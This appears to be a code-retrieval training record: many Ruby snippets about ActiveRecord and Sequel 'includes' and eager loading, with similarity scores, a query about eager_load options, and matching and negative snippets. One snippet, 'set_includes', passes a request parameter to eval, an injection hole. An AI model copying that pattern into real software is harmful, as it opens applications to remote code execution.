"def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array(include_associations)\n\n for association in associations\n records = case @record.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(association).to_a\n when :has_one, :belongs_to\n @record.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end",
"def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array(include_associations)\n\n for association in associations\n records = case @record.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @record.send(association).to_a\n when :has_one, :belongs_to\n @record.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end",
"def include_options\n { include: parsed_associations || [], methods: parsed_methods || [] }\n end",
"def add_default_includes!(options)\r\n return if options[:include] or default_includes.blank?\r\n options[:include] = default_includes\r\n end",
"def including(*models)\n @expected_options[:include] = (models.length == 1) ? models.first : models\n self\n end",
"def add_includes(&block)\n if include_associations = options.delete(:include)\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array.wrap(include_associations)\n\n for association in associations\n records = case @serializable.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n @serializable.send(association).to_a\n when :has_one, :belongs_to\n @serializable.send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end\n end",
"def include_strategy\n :includes\n end",
"def includes\n @includes ||= params[:include].to_s.split(',')\n end",
"def normalize_includes!\n # TODO: normalize Array of Symbol, String, DM::Property 1-jump-away or DM::Query::Path\n end",
"def includes(*args)\n @options[:include] ||= []\n @options[:include] |= args\n end",
"def includes\n @includes ||= remove_through_model(full_includes)\n end",
"def model_includes\n # 1st level convertion -- allows same-level repetition of attributes\n build_deep = lambda { |arr| arr.collect { |res| res.include?(\".\") ? { res.split(\".\").shift.to_sym => build_deep.call([res.split(\".\").drop(1).join(\".\")]) } : res.to_sym } }\n a1 = build_deep.call(included_resources).uniq\n \n # merges the repetitions into single structures -- it may add some \"{ key: nil }\" hashes to represent simple attributes of the includes clause\n hashify = lambda { |arr|\n h = {}\n arr.each{ |res|\n h.merge!(res.is_a?(Hash) ? res : { res => nil }) { |key, res1, res2|\n res1.is_a?(Array) ? (res2.is_a?(Array) ? hashify.call(res1 + res2) : res1) : (res2.is_a?(Array) ? res2 : nil)\n }\n }\n h\n }\n a2 = hashify.call(a1)\n \n # simplifies \"{ key: nil }\" hashes back to \":key\" symbols \n simplify = lambda { |hsh|\n r = []\n hsh.each{ |key, val| r << ( val.nil? ? key : { key => simplify.call(val) } ) }\n r\n }\n a3 = simplify.call(a2)\n end",
"def model_includes\n @model_includes ||= parse_for_active_record_includes(resources: included_resources)\n end",
"def included_associations\n @included_associations ||= begin\n self.options[:include_associations] ||= []\n self.options[:include_associations].collect(&:to_sym)\n end\n end",
"def eager_includes(include_referenced: true)\n {}\n end",
"def load!(includes, options = {})\r\n case includes\r\n when Array\r\n includes.each { |association|\r\n load! association, :limit => options[:limit]\r\n }\r\n when Hash\r\n includes.each { |association, subassociation|\r\n associated = load! association, :include => subassociation,\r\n :limit => options[:limit]\r\n }\r\n when String, Symbol\r\n name = self.class.associations(version)[includes = includes.to_sym]\r\n return unless name\r\n macro = self.class.model.reflect_on_association(name).macro\r\n\r\n @loaded[includes] ||= if [:belongs_to, :has_one].include?(macro)\r\n associated = send(includes).target\r\n if options[:include]\r\n associated.load! options[:include], :limit => options[:limit]\r\n end\r\n associated\r\n else\r\n configuration = {}\r\n configuration[:limit] = options[:limit] || MAXIMUM_LIMIT\r\n configuration[:include] = options[:include] if options[:include]\r\n collection = send(includes).scoped(configuration).to_collection\r\n\r\n if collection.pagination\r\n collection.pagination.path = attributes[includes] || includes\r\n end\r\n\r\n if options[:include]\r\n collection.each { |record|\r\n record.load! options[:include], :limit => options[:limit]\r\n }\r\n end\r\n\r\n collection\r\n end\r\n end\r\n end",
"def api_include(params)\n # Which columns must we select?\n select = []\n # Which associations must we eager-load?\n eagers = []\n \n model.default_attrs.each do |attr|\n select += model.attr_columns[attr.to_s]\n eagers += model.attr_associations[attr.to_s]\n end\n \n if params['include']\n select += MF::API::IncludeNode.build_select_list(params['include'], model)\n eagers += MF::API::IncludeNode.build_eager_graph(params['include'], model)\n end\n \n # Don't eager load more than once. :)\n eagers.uniq!\n \n # Also select columns which associations may need to operate.\n eagers.each do |eager|\n # Add the primary key on this table needed to access everything.\n if eager.is_a?(Hash)\n ref = model.association_reflection(eager.keys.first.to_sym)\n else\n ref = model.association_reflection(eager)\n end\n \n case ref[:type]\n when :one_to_many\n select << ref[:primary_key] if ref[:primary_key]\n when :many_to_one\n select << ref[:key] if ref[:key]\n when :many_to_many\n select << ref[:left_primary_key] if ref[:left_primary_key]\n when :many_through_many\n select << ref[:left_primary_key] if ref[:left_primary_key]\n end\n end\n\n # Ensure we always select critical columns.\n select += model.key_columns\n \n # Don't select more than once\n select.uniq!\n \n # Modify a copy of this dataset.\n dataset = self.clone\n\n # Select columns\n if dataset.opts[:select] and\n dataset.opts[:select].size == 1 and \n dataset.opts[:select].first.kind_of? Sequel::SQL::ColumnAll\n # This dataset is selecting ALL elements; drop the select and\n # replace it with our explicit selection.\n dataset.opts[:select] = select\n else\n # The dataset may have no select() columns -or- a number of explicit\n # selections; we will merge our own.\n dataset = dataset.select_more *select\n end\n\n # Eager loading\n dataset = dataset.eager(*eagers) unless eagers.empty?\n\n # Ensure we use the first table source as the qualifier for all\n # unqualified identifiers.\n dataset = dataset.qualify_to_first_source\n \n dataset\n end",
"def model_includes\n if @include_param.nil?\n @include_param = []\n else\n if check_two_level\n model_includes_single_or_multiple_two_level_resources\n #duplicate_item\n else\n model_includes_single_or_multiple_three_level_resources\n end\n end\n end",
"def includes\r\n return nil unless @joins and not @joins.empty?\r\n includes = @joins.collect{|j| j.includes}\r\n end",
"def as_json(options={})\n options ||= {}\n options = options.symbolize_keys\n includes = {}\n\n if options[:include]\n # control if a symbol or string is passed\n options[:include] = [options[:include]] if options[:include].is_a?(String)\n options[:include] = [options[:include]] unless options[:include].is_a?(Enumerable)\n\n options[:include].reject! do |assoc, opts|\n # if the included assoc does't have options, take the default association as_json, as defined in its model\n unless opts.is_a?(Hash)\n includes[assoc] = self.send(assoc).as_json\n true\n end\n end\n end\n super(options).update(includes).camelize_keys\n end",
"def includes\n @spec['includes'].dup.concat(@type.includes)\n end",
"def default_includes\n []\n end",
"def find_every_with_default_includes(options)\r\n add_default_includes!(options)\r\n find_every_without_default_includes(options)\r\n end",
"def includes(*associations)\n # Normalize association list to strict nested hash.\n normalize = ->(list) {\n if list.is_a? Array\n list.map(&normalize).reduce(:merge)\n elsif list.is_a? Symbol\n { list => {} }\n elsif list.is_a? Hash\n hash = {}\n list.each do |key, value|\n hash[key] = normalize.(value)\n end\n hash\n end\n }\n associations = normalize.(associations)\n\n current_scope = @scope.includes(associations)\n\n add_conditions = ->(associations, scope) {\n associations.each do |association, nested|\n reflection = scope.reflect_on_association(association)\n if reflection && !reflection.options[:polymorphic]\n associated_klass = reflection.klass\n\n if associated_klass.respond_to? :restrict\n nested_scope = associated_klass.restrictions(@context).request_scope(:fetch)\n\n where_values = nested_scope.where_values\n if where_values.any?\n current_scope = current_scope.where(*where_values)\n end\n\n add_conditions.(nested, associated_klass)\n end\n end\n end\n }\n\n unless Heimdallr.skip_eager_condition_injection\n add_conditions.(associations, current_scope)\n end\n\n options = @options.merge(eager_loaded:\n @options[:eager_loaded].merge(associations))\n\n Proxy::Collection.new(@context, current_scope, options)\n end",
"def add_include include\n add_to @includes, include\n\n include\n end",
"def includes\n end",
"def includes\n end",
"def includes() return @includes end",
"def includes(*args)\n config.includes.push *args\n end",
"def allowed_includes\n []\n end",
"def preload_included_fragments(resources, records, serializer, options)\n return if resources.empty?\n\n include_directives = options[:include_directives]\n return unless include_directives\n\n array_includes = include_directives.include_directives[:include_related]\n resources_array = array_includes.select { |res| _model_class.find_resource(res) }\n\n # Exclude non active-record includes\n array_includes.except!(*resources_array.keys)\n\n # NOTE: calling monkeypatched json api method that fixes the bug\n # Read note above\n original_preload_included_fragments(resources, records, serializer, options)\n # return non active-record includes\n array_includes.merge!(resources_array)\n end",
"def validate_include_clause(errors)\n return errors unless options[:include]\n\n options[:include].each_with_object(errors) do |included, errors|\n next errors if allowed_includes.include?(included)\n\n errors.push(\n source: { parameter: 'include' },\n title: 'Invalid Query Parameter',\n detail: \"#{resource_name.capitalize} does not have an `#{included}` relationship path.\"\n )\n end\n end",
"def ___set_includes\n ___upd_valid\n each_value do |item|\n next unless (ary = item.delete(:include))\n ary.each do |ref|\n item.get(:group) { Hashx.new }.update(self[ref][:group])\n end\n end\n end",
"def includes(*args)\n fresh.tap do |criteria|\n criteria.includes_values = (includes_values || []) + args\n end\n end",
"def includes\n include_params.select { |i| config_for(i).present? }\n end",
"def add_includes(inc)\r\n return if inc.nil?\r\n \r\n inc = [inc] if (!inc.respond_to?(:each) || inc.kind_of?(String))\r\n \r\n if inc.include?(:all)\r\n ole_methods.each do |m|\r\n m = m.to_s\r\n if m =~ /\\AInclude/ && m != 'IncludeRetElementList'\r\n @request.__send__(\"#{m.underscore}=\", true)\r\n end\r\n end\r\n return\r\n end\r\n \r\n inc.each do |item|\r\n cam_item = item.to_s.camelize.gsub(/Id/, \"ID\")\r\n if @request.respond_to_ole?(\"Include#{cam_item}\")\r\n @request.__send__(\"include_#{item}=\", true)\r\n else\r\n @request.IncludeRetElementList.Add(cam_item)\r\n end\r\n end\r\n end",
"def included_associations(include = [])\n include += [:hostgroup, :compute_resource, :operatingsystem, :environment, :model ]\n include += [:fact_values] if User.current.user_facts.any?\n include\n end",
"def to_find_include\n @conditions.to_find_include\n end",
"def set_includes\n @includes = params[:i].nil? ? [] : eval(params[:i])\n @includes_list = @includes.map{|b| b.is_a?(Hash) ? b.to_a.flatten : b}.flatten || []\n #Rails.logger.debug @includes\n #Rails.logger.debug @includes_list\n end",
"def add_association_keys_to_select_sub(klass, options)\n select_table_fields = class_primary_key_fields(klass)\n \n if options[:include].class == Symbol || options[:include].class == String\n select_table_fields.concat association_keys_for(klass, options[:include].to_sym)\n elsif options[:include].class == Array\n options[:include].each do |s|\n if s.class == Hash # {:user => :favorites} or {:user => {:favorites => [:books, :movies]}}\n select_table_fields.concat association_keys_for(klass, s.keys[0].to_sym)\n \n # this :include has a nested :include, so continue recursively\n if r = klass.reflections[s.keys[0].to_sym]\n nested_add_options = options.dup\n nested_add_options[:include] = s.values[0]\n select_table_fields.concat add_association_keys_to_select_sub(r.klass, nested_add_options)\n end\n elsif s.class == Symbol || s.class == String\n select_table_fields.concat association_keys_for(klass, s.to_sym)\n end\n end\n elsif options[:include].class == Hash\n select_table_fields.concat association_keys_for(klass, options[:include].keys[0].to_sym)\n \n # this :include has a nested :include, so continue recursively\n if r = klass.reflections[options[:include].keys[0].to_sym]\n nested_add_options = options.dup\n nested_add_options[:include] = options[:include].values[0]\n select_table_fields.concat add_association_keys_to_select_sub(r.klass, nested_add_options)\n end\n end\n \n select_table_fields.uniq\n end",
"def add_include(include)\n add_to @includes, include\n end",
"def includes\n return :identity => {:service_providers => :organization}\n end",
"def includes(*_args)\n relations.map { |rel| rel[1] }\n end",
"def include(*args)\n include_or_extend(:include, *args)\n end",
"def available_includes\n []\n end",
"def default_includes\r\n read_inheritable_attribute(\"include_by_default\").to_a\r\n end",
"def extract_includes\n return @extract_includes if @extract_includes\n @extract_includes = []\n query_conditions.each do |condition|\n unless condition.nil? || condition.empty?\n if(condition.is_a?(Hash) && condition[:include])\n @extract_includes << condition[:include]\n end\n end\n end\n @extract_includes.uniq!\n @extract_includes\n end",
"def includes(*associations)\n associations.each do |association|\n if (reflection = @scope.reflect_on_association(association))\n @includes[association] = reflection.klass.exposable_attributes(:csv)\n @scope = @scope.includes(association)\n end\n end\n end",
"def includes\n @spec['includes'].dup\n end",
"def include inc\n @includes << inc\n end",
"def parsed_associations\n parsed_include(:include)\n end",
"def search_process_includes(mainclass, params_data)\n includes = {}\n errors = []\n if params_data\n include_requests = {}\n if params_data.kind_of?(Hash)\n params_data.each do |key,value|\n if value == ''\n include_requests[key] = {}\n else\n include_requests[key] = value\n end\n end\n elsif params_data.kind_of?(Array)\n params_data.each { |p| include_requests[p] = {} }\n else\n include_requests[params_data] = {}\n end\n\n include_requests.each do |include_request, value|\n assoc = mainclass.reflect_on_association(include_request.to_sym)\n if assoc.nil?\n # FIXME: Need better error handling for XML users\n errors << \"Ignored invalid include #{include_request}\"\n logger.info \"Ignored invalid include #{include_request}\"\n next\n else\n # Rails appears to have a bug as of 2.1.1 such that including a\n # has_one, through association causes an exception. The exception\n # looks like this for future reference:\n # NoMethodError (undefined method `to_ary' for #<Datacenter:0x3aaa1b0>)\n if assoc.macro == :has_one && assoc.options.has_key?(:through)\n # FIXME: Need better error handling for XML users\n errors << \"Ignored has_one, through include #{include_request}\"\n logger.info \"Ignored has_one, through include #{include_request}\"\n else\n if !value.empty?\n value, suberrors = search_process_includes(assoc.klass, value)\n end\n includes[include_request.to_sym] = value\n end\n end\n end\n end\n return includes, errors\n end",
"def include(*i)\n @includes |= i.flatten\n end",
"def includes(*paths)\n @includes.concat(paths) unless paths.empty?\n @includes\n end",
"def set_include_statement\n super\n end",
"def include_params\n @include_params ||= begin\n params[:include].present? ? params[:include].split(',').map!(&:strip) : []\n end\n end",
"def process_includes(mainclass, params_data)\n includes = {}\n errors = []\n if params_data\n include_requests = {}\n if params_data.kind_of?(Hash)\n params_data.each do |key,value|\n if value == ''\n include_requests[key] = {}\n else\n include_requests[key] = value\n end\n end\n elsif params_data.kind_of?(Array)\n params_data.each { |p| include_requests[p] = {} }\n else\n include_requests[params_data] = {}\n end\n\n include_requests.each do |include_request, value|\n assoc = mainclass.reflect_on_association(include_request.to_sym)\n if assoc.nil?\n # FIXME: Need better error handling for XML users\n errors << \"Ignored invalid include #{include_request}\"\n logger.info \"Ignored invalid include #{include_request}\"\n next\n else\n # Rails appears to have a bug as of 2.1.1 such that including a\n # has_one, through association causes an exception. The exception\n # looks like this for future reference:\n # NoMethodError (undefined method `to_ary' for #<Datacenter:0x3aaa1b0>)\n if assoc.macro == :has_one && assoc.options.has_key?(:through)\n # FIXME: Need better error handling for XML users\n errors << \"Ignored has_one, through include #{include_request}\"\n logger.info \"Ignored has_one, through include #{include_request}\"\n else\n if !value.empty?\n value = process_includes(assoc.klass, value)\n end\n includes[include_request.to_sym] = value\n end\n end\n end\n end\n return includes\n end",
"def applying_deprecated_query_args( args ) # :nodoc:\n rel = self.all\n rel = rel.includes(args[:include]) if args[:include]\n rel = rel.where(args[:conditions]) if args[:conditions]\n rel = rel.order(args[:order]) if args[:order]\n rel = rel.limit(args[:limit]) if args[:limit]\n rel\n end",
"def includes\n []\n end",
"def includes\n @include_ids.collect { |idx| BInclude.store[idx] }\n end",
"def includes\n includes = @spec['includes'].dup\n\n includes.concat(@error_action.includes) if error_check?\n\n includes\n end",
"def includes\n return @includes if @includes\n @includes = []\n @context.includes.each do |i|\n ref = R2Doc.all_references[i.name]\n ref = @context.find_symbol(i.name)\n ref = ref.viewer if ref\n if ref and ref.document_self\n @includes << {:name=>i.name, :url=>ref.path}\n else\n @includes << {:name=>i.name}\n end\n end\n @includes\n end",
"def include?\n @options[:include]\n end",
"def search_joins\n @search_joins || @includes\n end",
"def included_attributes\n @included_attributes ||= begin\n ret = self.options[:include_extras] || []\n ret.map(&:to_sym)\n end\n end",
"def translate_include(includes, version)\r\n case includes\r\n when Array\r\n includes.map { |association| translate_include association, version }\r\n when Hash\r\n includes.inject({}) { |hash, (association, sub)|\r\n name = translate_include association, version\r\n klass = model.reflect_on_association(name).klass\r\n r = Restful::Resource.classes.find { |s| s.model(version) == klass }\r\n hash[name] = r.try(:translate_include, sub, version) || sub\r\n hash\r\n }\r\n when String, Symbol\r\n associations(version)[includes.to_sym] || begin\r\n error = \"no such association #{includes.inspect} for #{name}\"\r\n valid = associations(version).keys.map { |a| a.to_s }.sort.join \", \"\r\n raise InvalidInclude, error << \" (must be one of #{valid})\"\r\n end\r\n end\r\n end",
"def set_includes\n @data = get_resource.attributes\n\n # wrap sideloading in a ActiveRecord.transaction\n # because you can pass 'destroy' to the includes\n # which could destroy the resource\n get_resource.transaction do\n params[:include].split(\",\").each do |includes|\n @data[\"#{includes}\"] = get_resource.try(includes)\n\n # reverts the transaction if resource\n # was deleted or changed\n if get_resource.destroyed? || get_resource.changed?\n @data.delete(\"#{includes}\")\n raise ActiveRecord::Rollback\n end\n end\n end\n end",
"def add_include(include)\n object_class.record_location self\n return include unless @document_self\n object_class.add_include include\n end",
"def add_include(include)\n @includes << include\n end",
"def do_includes\n @body.scan(/rb_include_module\\s*\\(\\s*(\\w+?),\\s*(\\w+?)\\s*\\)/) do |c,m|\n if cls = @classes[c]\n m = @known_classes[m] || m\n cls.add_include(Include.new(m, \"\"))\n end\n end\n end",
"def include_kind!(kind)\n if queries = QUERIES[kind]\n self.include_kind ||= []\n self.include_kind += queries\n else\n raise DbAgile::Error, \"Unrecognized object kind #{kind}\"\n end\n end",
"def include(*others)\n IncludesTracker.reset!\n __orig_include(*others)\n end",
"def includes\n return :project_roles => {:protocol => {:service_requests => {:line_items => :service, :sub_service_requests => :organization}}}\n end",
"def collections_to_include\n return \"\" unless collections\n \"--collection #{[*collections].join(\" \")}\"\n end",
"def includes(&block)\n scope.includes(*build_join_path(&block))\n end",
"def change_include_possible(include,user)\n\t\t\n \tend",
"def eager_load(docs)\n docs.tap do |d|\n if eager_loadable?\n preload(criteria.inclusions, d)\n end\n end\n end",
"def add_association_keys_to_select(options)\n return options[:select] unless options[:include]\n select_table_fields = split_table_fields(options[:select])\n select_table_fields.concat add_association_keys_to_select_sub(self, options)\n reform_select_from_fields(select_table_fields.uniq)\n end",
"def add_includes out, includes\n return if includes.empty?\n out << RDoc::Markup::Rule.new(1)\n out << RDoc::Markup::Heading.new(1, \"Includes:\")\n includes.each do |modules, store|\n if modules.length == 1 then\n include = modules.first\n name = include.name\n path = store.friendly_path\n out << RDoc::Markup::Paragraph.new(\"#{name} (from #{path})\")\n if include.comment then\n out << RDoc::Markup::BlankLine.new\n out << include.comment\n end\n else\n out << RDoc::Markup::Paragraph.new(\"(from #{store.friendly_path})\")\n wout, with = modules.partition { |incl| incl.comment.empty? }\n out << RDoc::Markup::BlankLine.new unless with.empty?\n with.each do |incl|\n out << RDoc::Markup::Paragraph.new(incl.name)\n out << RDoc::Markup::BlankLine.new\n out << incl.comment\n end\n unless wout.empty? then\n verb = RDoc::Markup::Verbatim.new\n wout.each do |incl|\n verb.push incl.name, \"\\n\"\n end\n out << verb\n end\n end\n end\n end",
"def includes\n return :survey\n end",
"def eager_options_for_associations(associations)\n opts = {}\n associations.flatten.each do |association|\n case association\n when Symbol\n check_association(model, association)\n opts[association] = nil\n when Hash\n association.keys.each{|assoc| check_association(model, assoc)}\n opts.merge!(association)\n else\n raise(Sequel::Error, 'Associations must be in the form of a symbol or hash')\n end\n end\n opts\n end",
"def set_inclusion(resource, default_includes: [], permitted_includes: [])\n @inclusion ||= ActiveSupport::HashWithIndifferentAccess.new\n @inclusion_field ||= ActiveSupport::HashWithIndifferentAccess.new\n @inclusion_specified ||= ActiveSupport::HashWithIndifferentAccess.new\n @inclusion[resource] = default_includes.map(&:to_s) if @inclusion[resource].blank? &&\n !@inclusion_specified[resource]\n @inclusion[resource] &= permitted_includes.map(&:to_s) if permitted_includes.present?\n\n if @fieldset.is_a?(Hash) && @fieldset[resource].present?\n @inclusion[resource] &= @fieldset[resource]\n end\n end",
"def set_Include(value)\n set_input(\"Include\", value)\n end",
"def set_Include(value)\n set_input(\"Include\", value)\n end",
"def set_Include(value)\n set_input(\"Include\", value)\n end",
"def eager_includes(include_referenced: true, vm_path: [])\n association_specs = {}\n\n return nil if vm_path.count(self) > 2\n\n child_path = vm_path + [self]\n _members.each do |assoc_name, association_data|\n next unless association_data.is_a?(AssociationData)\n next if association_data.external?\n\n case\n when association_data.through?\n viewmodel = association_data.direct_viewmodel\n children = viewmodel.eager_includes(include_referenced: include_referenced, vm_path: child_path)\n\n when !include_referenced && association_data.referenced?\n children = nil # Load up to the root viewmodel, but no further\n\n when association_data.polymorphic?\n children_by_klass = {}\n association_data.viewmodel_classes.each do |vm_class|\n klass = vm_class.model_class.name\n children_by_klass[klass] = vm_class.eager_includes(include_referenced: include_referenced, vm_path: child_path)\n end\n children = DeepPreloader::PolymorphicSpec.new(children_by_klass)\n\n else\n viewmodel = association_data.viewmodel_class\n children = viewmodel.eager_includes(include_referenced: include_referenced, vm_path: child_path)\n end\n\n association_specs[association_data.direct_reflection.name.to_s] = children\n end\n DeepPreloader::Spec.new(association_specs)\n end",
"def includes()\n includes = @data[\"includes\"]\n if includes.nil? || includes == \"\"\n return []\n elsif includes.class == String\n return [includes]\n elsif includes.class == Array\n return includes\n else\n raise InvalidIncludesFormat.new(\"Value for 'includes' in #{@name} must be a String or an Array, (#{includes.inspect})\")\n end\n end",
"def each_include # :yields: include\n @includes.each do |i| yield i end\n end",
"def each_include # :yields: include\n @includes.each do |i| yield i end\n end",
"def get_all_includes includes = nil, recurse = nil\n\t\tif includes == nil\n\t\t\tif @includes.is_a? Array\n\t\t\t\tincludes = @includes\n\t\t\telsif @includes.is_a? Hash\n\t\t\t\treturn @includes\n\t\t\telse\n\t\t\t\t$log.warn \"NERO_Skill(#{@name}) has includes in an invalid format!\"\n\t\t\t\treturn []\n\t\t\tend\n\t\tend\n\t\trecurse = 0 if recurse == nil\n\n\t\t$log.debug \"#{@name}.get_all_includes(#{includes.inspect},#{recurse})\"\n\n\t\treturn includes if recurse >= 5 or includes.nil?\n\t\textra_includes = []\n\t\tincludes.each do |skill_name|\n\t\t\tnskill = NERO_Skill.lookup(skill_name)\n\t\t\tnext if nskill.nil?\n\t\t\textra_includes = extra_includes + nskill.includes unless nskill.includes.nil?\n\t\tend\n\t\textra_includes = extra_includes - includes\n\t\tincludes = Set.new(includes + extra_includes).to_a\n\t\tif extra_includes.empty?\n\t\t\t$log.info \"#{@name}.get_all_includes() = #{includes.inspect}\"\n\t\t\treturn includes\n\t\tend\n\t\treturn get_all_includes(includes, recurse + 1)\n\tend",
"def add_includes out, includes\n add_extension_modules out, 'Includes', includes\n end",
"def build_includes(node, definition_override)\n definition = definition_override || node.definition\n includes_meta = definition.metadata[:includes]\n return nil if includes_meta.blank?\n\n builder = GraphQLIncludable::IncludesBuilder.new\n\n if includes_meta.is_a?(Proc)\n if includes_meta.arity == 2\n args_for_field = @root_ctx.query.arguments_for(node, node.definition)\n builder.instance_exec(args_for_field, @root_ctx, &includes_meta)\n else\n builder.instance_exec(&includes_meta)\n end\n else\n builder.path(includes_meta)\n end\n\n builder\n end",
"def build_options\n options = {}\n options[:include] = params[:include].split(',') if params[:include]\n if params[:fields]\n options[:fields] = params[:fields].permit!.to_h.transform_values { |value| value.split(',') }\n end\n options\n end",
"def query_scope\n record_class.public_send(include_strategy, included_associations)\n end",
"def included\n included = @objects.try(:map) { |o| o.try(:included) }\n included.try(:flatten!)\n included.try(:compact!) || included\n end",
"def include_all(*args) \n set_option_value(:include_all, true, *args)\n end",
"def include_association(*args)\n options = args.extract_options!\n if (action = options.delete(:authorize_action)).present?\n args.each do |association_name|\n authorize_action(action, association_name, options)\n end\n end\n if options[:scope_association].present?\n args.each do |association_name|\n scope_association(association_name, options)\n end\n end\n set_option_array_values(:include, *args, options) # include options hash since removed in extract_options!\n end",
"def include_letters\n if @options[:include]\n @letters = @options[:include]\n end\n end",
"def supports_index_include?\n false\n end",
"def assoc_searchable(*args)\n opts = args.extract_options!\n args.flatten.each do |assoc|\n assoc = assoc.to_s\n raise(ArgumentError, \"No such association #{assoc} in #{self}\") unless self.reflect_on_all_associations.map {|a| a.name.to_s}.include?(assoc)\n self._metasearch_include_associations = self._metasearch_include_associations.merge(\n assoc => {\n :if => opts[:if]\n }\n )\n end\n end"
] |
[
"0.7109436",
"0.7109436",
"0.6859788",
"0.6843337",
"0.68427396",
"0.68026507",
"0.6795185",
"0.6787254",
"0.67393464",
"0.6674961",
"0.6658092",
"0.66100204",
"0.6592239",
"0.65871704",
"0.6539394",
"0.65090835",
"0.64750785",
"0.64722246",
"0.64481205",
"0.6440471",
"0.6378472",
"0.63230294",
"0.6283729",
"0.6275633",
"0.61767775",
"0.61754006",
"0.61754006",
"0.61452204",
"0.61377126",
"0.6130456",
"0.6077437",
"0.6073148",
"0.6071223",
"0.60689723",
"0.6063193",
"0.6040254",
"0.60215116",
"0.5996077",
"0.597041",
"0.59473884",
"0.5941386",
"0.5931509",
"0.5906579",
"0.58993345",
"0.58730733",
"0.58616537",
"0.58525014",
"0.5846127",
"0.5828007",
"0.5821381",
"0.5745574",
"0.57080215",
"0.5705092",
"0.5703504",
"0.56925607",
"0.5669458",
"0.5655825",
"0.56545234",
"0.56495297",
"0.5648773",
"0.5620681",
"0.56196696",
"0.56190497",
"0.56151307",
"0.55788344",
"0.55719143",
"0.55597097",
"0.55315506",
"0.5529149",
"0.55200773",
"0.550391",
"0.5485376",
"0.5484519",
"0.5480077",
"0.5478293",
"0.5471596",
"0.54710364",
"0.54472387",
"0.54393053",
"0.5431412",
"0.54104716",
"0.5407105",
"0.5405973",
"0.5405973",
"0.5405973",
"0.54005504",
"0.5399413",
"0.53895336",
"0.53895336",
"0.5377089",
"0.5361174",
"0.53597116",
"0.5356899",
"0.53537923",
"0.53511965",
"0.5343993",
"0.53291327",
"0.5327982",
"0.5303037",
"0.53013074"
] |
0.7436749
|
0
|
Add eager_load options which will be used when querying records.
|
def eager_load(options)
@eager_load = options
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def eager(*associations)\n opts = @opts[:eager]\n association_opts = eager_options_for_associations(associations)\n opts = opts ? Hash[opts].merge!(association_opts) : association_opts\n clone(:eager=>opts)\n end",
"def eager_load_results(opts, eo, &block)\n opts.eager_load_results(eo, &block)\n end",
"def eager_load(*args)\n fresh.tap do |criteria|\n criteria.eager_load_values = (eager_load_values || []) + args\n end\n end",
"def eager_load; end",
"def eager_load; end",
"def eager_load; end",
"def eager_graph_with_options(associations, opts=OPTS)\n associations = [associations] unless associations.is_a?(Array)\n if eg = @opts[:eager_graph]\n eg = eg.dup\n [:requirements, :reflections, :reciprocals, :limits].each{|k| eg[k] = eg[k].dup}\n eg[:local] = opts\n ds = clone(:eager_graph=>eg)\n ds.eager_graph_associations(ds, model, ds.opts[:eager_graph][:master], [], *associations)\n else\n # Each of the following have a symbol key for the table alias, with the following values: \n # :reciprocals :: the reciprocal value to use for this association\n # :reflections :: AssociationReflection instance related to this association\n # :requirements :: array of requirements for this association\n # :limits :: Any limit/offset array slicing that need to be handled in ruby land after loading\n opts = {:requirements=>{}, :master=>alias_symbol(first_source), :reflections=>{}, :reciprocals=>{}, :limits=>{}, :local=>opts, :cartesian_product_number=>0, :row_proc=>row_proc}\n ds = clone(:eager_graph=>opts)\n ds.eager_graph_associations(ds, model, ds.opts[:eager_graph][:master], [], *associations).naked\n end\n end",
"def eager_load(docs)\n docs.tap do |d|\n if eager_loadable?\n preload(criteria.inclusions, d)\n end\n end\n end",
"def eager\n raise Error, \"eager loading disabled\" if model.cti_subclass_load == :lazy_only\n clone(:eager_load => true)\n end",
"def eager_load!; end",
"def eager_load!; end",
"def eager_load!; end",
"def eager_load!; end",
"def eager_loading_dataset(eo=OPTS)\n ds = eo[:dataset] || associated_eager_dataset\n if id_map = eo[:id_map]\n ds = ds.where(eager_loading_predicate_condition(id_map.keys))\n end\n if associations = eo[:associations]\n ds = ds.eager(associations)\n end\n if block = eo[:eager_block]\n ds = block.call(ds)\n end\n if eager_loading_use_associated_key?\n ds = ds.select_append(*associated_key_array)\n end\n if self[:eager_graph]\n raise(Error, \"cannot eagerly load a #{self[:type]} association that uses :eager_graph\") if eager_loading_use_associated_key?\n ds = ds.eager_graph(self[:eager_graph])\n end\n ds\n end",
"def eager_includes(include_referenced: true)\n {}\n end",
"def eager_options_for_associations(associations)\n opts = {}\n associations.flatten.each do |association|\n case association\n when Symbol\n check_association(model, association)\n opts[association] = nil\n when Hash\n association.keys.each{|assoc| check_association(model, assoc)}\n opts.merge!(association)\n else\n raise(Sequel::Error, 'Associations must be in the form of a symbol or hash')\n end\n end\n opts\n end",
